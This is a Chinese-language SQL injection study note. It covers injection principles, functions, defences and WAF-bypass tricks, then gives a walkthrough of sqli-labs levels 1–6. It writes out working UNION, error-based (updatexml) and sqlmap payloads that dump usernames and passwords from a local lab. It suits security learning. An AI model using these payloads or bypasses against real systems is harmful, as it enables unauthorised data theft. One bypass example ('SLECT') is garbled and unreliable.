一、总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
SQL注入原理
SQL注入(SQL Injection)是一种安全漏洞攻击方式,通过在SQL查询中插入恶意的SQL代码,攻击者可以操控数据库服务器执行未授权的操作。SQL注入的基本原理是:
- 输入点:攻击者找到一个输入点(如表单字段、URL参数等),该输入点的数据会被直接插入到SQL查询中。
- 恶意输入:攻击者输入特制的SQL代码片段,通常是通过引号(')或注释符号(–)来干扰查询语法。
- 执行:这些恶意代码被传递到数据库服务器并执行,从而影响数据库操作或泄露数据。
SQL注入常用函数及含义
在SQL注入攻击中,攻击者常用以下几类函数和操作:
-
UNION SELECT:用来将多个SELECT语句的结果合并。这可以帮助攻击者提取其他表的数据。
UNION SELECT null, username, password FROM users
-
SELECT INTO OUTFILE:将查询结果导出到文件,可能导致敏感数据泄露。
SELECT * INTO OUTFILE '/path/to/file' FROM sensitive_table
-
GROUP_CONCAT:将多行结果合并为一行,常用于从多个行中提取数据。
SELECT GROUP_CONCAT(column_name) FROM table_name
-
CONCAT:连接字符串,通常用于构造动态SQL查询。
SELECT CONCAT(username, ':', password) FROM users
-
SLEEP:延迟SQL执行时间,常用于时间盲注。
SELECT SLEEP(5)
-
SUBSTRING:提取字符串的一部分,常用于提取隐藏数据。
SELECT SUBSTRING(column_name, 1, 5) FROM table_name
-
ORD:获取字符的ASCII值,用于字符逐个猜测攻击。
SELECT ORD(SUBSTRING(username, 1, 1)) FROM users
SQL注入防御手段
-
使用预编译语句(Prepared Statements):通过将SQL代码与数据分开处理,防止SQL注入。
// Java示例 PreparedStatement ps = connection.prepareStatement("SELECT * FROM users WHERE username = ?"); ps.setString(1, userInput);
-
参数化查询:将参数作为查询的一部分进行处理,确保用户输入不被执行为SQL代码。
// Python示例 cursor.execute("SELECT * FROM users WHERE username = %s", (userInput,))
-
输入验证:对用户输入进行严格的验证和过滤,只允许合法数据通过。
- 验证数据类型、长度和格式
- 使用白名单进行验证
-
最小权限原则:数据库用户仅授予执行必要操作的权限,降低攻击的潜在风险。
- 不使用具有管理员权限的账户执行普通操作
-
错误处理:避免将详细的数据库错误信息暴露给用户,防止攻击者获取敏感信息。
- 使用通用的错误信息并记录详细错误日志
-
使用Web应用防火墙(WAF):监控和过滤恶意请求,但需要注意绕过方法。
SQL注入常用绕过WAF的方法
-
混淆技术:使用编码(如URL编码、十六进制编码)或拼接方法混淆SQL注入payload。
%27%20OR%201%3D1%20--%20
-
使用不同的SQL关键字:替换SQL语法关键字为数据库接受的别名。
SLECT * FROM users -- 替换为 SLECT
-
插入空格或注释:在SQL注入payload中插入空格或注释,绕过WAF检测。
' OR 1=1 --
-
使用动态SQL:通过动态生成SQL代码来规避静态检测。
' UNION SELECT null, null, CONCAT(username, ':', password) FROM users --
-
SQL语法变体:利用数据库的SQL语法变体来绕过检测。
1' OR '1'='1
-
时间盲注:通过时间延迟来探测数据库结构和数据,通常不容易被WAF检测。
' OR IF(1=1, SLEEP(5), 0) --
二、 总结SQLi的手工注入的步骤
1. 识别注入点
首先,你需要确定应用程序的输入点,这些输入点可能会导致SQL注入。常见的注入点包括:
- URL参数(如
http://example.com/page?id=1
) - 表单字段(如登录表单、搜索框)
- HTTP头部(如
User-Agent
) - Cookie值
2. 确定注入点是否存在
在识别了可能的注入点后,需要验证这些点是否确实存在SQL注入漏洞。常见的测试方法包括:
-
单引号测试:在输入字段中插入单引号(
'
)或双引号("
),观察应用程序是否产生SQL错误。' OR '1'='1
-
错误消息:检查是否返回数据库错误消息,这些错误消息可以提供关于数据库结构和查询的线索。
3. 确定注入点类型
根据响应和错误信息,确定注入点的类型。常见的SQL注入类型包括:
- 基于错误的SQL注入:通过SQL错误信息进行攻击。
- 盲注(Blind SQL Injection):没有详细的错误信息,但可以通过应用程序行为推测数据库信息。
- 时间盲注:通过延迟响应时间来判断条件的真假。
- 布尔盲注:通过判断不同的响应来确定查询条件的真假。
4. 提取数据库信息
一旦确定了注入点并了解了其类型,可以开始提取数据库信息。具体步骤包括:
-
数据库版本:查询数据库版本信息。
' UNION SELECT @@version --
-
数据库结构:获取数据库中的表和字段信息。
' UNION SELECT table_name, column_name FROM information_schema.columns --
-
数据提取:提取实际的数据,如用户名和密码。
' UNION SELECT username, password FROM users --
5. 尝试不同的SQL注入技术
根据具体的应用情况,可能需要尝试多种SQL注入技术和技巧来绕过防护措施:
-
SQL注释:使用SQL注释符号(
--
)来注释掉后续的SQL代码。' OR '1'='1' --
-
UNION SELECT:将多个查询结果合并。
' UNION SELECT null, username, password FROM users --
-
盲注技巧:如果没有直接返回数据,可以使用盲注技巧推断数据。
' AND SUBSTRING((SELECT @@version), 1, 1) = '5' --
6. 处理和规避防御措施
应用程序可能会有各种防御措施,比如Web应用防火墙(WAF)或输入过滤。你可以尝试以下方法来规避这些防御:
-
输入编码:使用URL编码或其他编码技术混淆payload。
%27%20OR%201%3D1%20--%20
-
分隔符和空格:使用不同的SQL分隔符和空格变体来绕过检测。
' UNION SELECT NULL, NULL, CONCAT(username, ':', password) FROM users --
-
SQL变体:利用数据库的特定SQL语法或函数。
' UNION ALL SELECT NULL, NULL, CONCAT_WS(':', username, password) FROM users --
7. 提取数据并分析
一旦成功注入SQL代码并获取了数据,你可以进一步分析和整理这些数据,以确定其价值和含义。注意数据的敏感性,避免不必要的风险。
三、sqli-labs靶场挑战
1、第一关
1.1、页面提示输入数字值的ID作为参数,通过在URL栏输入?id=1和?id=4发现数字值不同返回的内容也不同,因此URL栏是注入点。
1.2、 输入?id=4'判断SQL语句是否拼接,根据页面报错提示可以判断存在SQL注入漏洞且注入点类型为字符型。在?id=4'后加上--+注释后页面恢复原样。
1.3、 由于页面存在回显,所以可以使用联合查询。输入?id=1'order by 3 --+判断表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。如下可以判断出表格有3列。
1.4、输入?id=-1'union select 1,2,3--+判断表格里面那一列是在页面显示的。如下可以看到是第二列和第三列里面的数据是显示在页面的。
1.5、输入?id=-1'union select 1,database(),version()--+获取当前数据名和版本号。通过结果知道当前数据看是security,版本是5.7.26。
1.6、输入?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+获取security数据库下的所有表。
1.7、根据表名知道可能用户的账户和密码是在users表中,输入?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+获取users表中字段名。
1.8、通过上述操作可以得到两个敏感字段就是username和password,输入以下内容可以得到该字段对应的内容(加了个id来隔开)。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
2、第二关
2.1、用第一关一样的步骤进行判断,当输入单引号或者双引号可以看到报错,且报错信息看不到数字,那么可以猜测sql语句应该是数字型注入。
2.2、知道注入类型后,其它步骤就与第一关一样,因此直接输入以下内容就能得到敏感信息。
?id=-1 union select 1,2,group_concat(username ,id , password) from users
3、第三关
3.1、 同样按照之前一样的步骤进行判断,在输入?id=1'的时候看到页面报错信息,可判断sql语句是单引号字符型且有括号。
3.2、因此接下来的代码输入只需要考虑闭合单引号和括号即可注入,步骤与第一关一致,输入以下代码即可获取重要信息。
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
4、第四关
4.1、 输入?id=1"时出现报错信息,根据页面报错信息可知sql语句是双引号字符型且有括号。
4.2、尝试闭合双引号和括号进行查询。
4.3、直接输入以下代码即可得到username和password。
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
5、第五关
5.1、输入?id=1'出现报错,由此可知注入类型是单引号字符型。
5.2、尝试输入 ?id=-1'union select 1,2,3--+发现页面不回显。
5.3、页面不回显,只有报错信息的情况下可以使用布尔盲注,但在不使用sqlmap的情况下手工布尔盲注太麻烦。查阅资料得知还可以用updatexml函数报错注入,输入以下代码查看当前数据库。
?id=1' and updatexml(1,concat(0x5e,database(),0x5e),1) --+
5.4、输入以下代码尝试获取敏感信息,遇到一个小问题:信息回显不完整。
?id=1' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) --+
5.5、于是使用substr函数,在substr函数里的1处依次加31(每次只能查出31位字符)来一点点截取,最后在拼接。如下。
?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) --+
?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),32)),0x5e),1) --+
?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),63)),0x5e),1) --+
?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),94)),0x5e),1) --+
?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),125)),0x5e),1) --+
?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),156)),0x5e),1) --+
?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),187)),0x5e),1) --+
6、第六关
6.1、输入?id=1"出现报错信息,得知是双引号字符型注入。
6.2、输入 ?id=1” union select 1,2,3--+页面不回显,看来也是布尔盲注。
6.3、此次试试sqlmap这个工具。
sqlmap介绍:
sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。
sqlmap下载地址:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool
sqlmap使用指南:Usage · sqlmapproject/sqlmap Wiki · GitHub
输入以下代码检测注入点。
python .\sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=1" --batch
6.4、 输入以下代码查看所有数据库。
python .\sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=1" --batch --dbs
6.5、输入以下代码查看当前数据库。
python .\sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=1" --batch --current-db
6.6、输入以下代码查看数据库内所有表。
python .\sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=1" --batch -D "security" --tables
6.7、输入以下代码查看users表中所有字段。
python .\sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=1" --batch -D "security" -T "users" --columns
6.8、输入以下代码获取users表中数据。
python .\sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=1" --batch -D "security" -T "users" --dump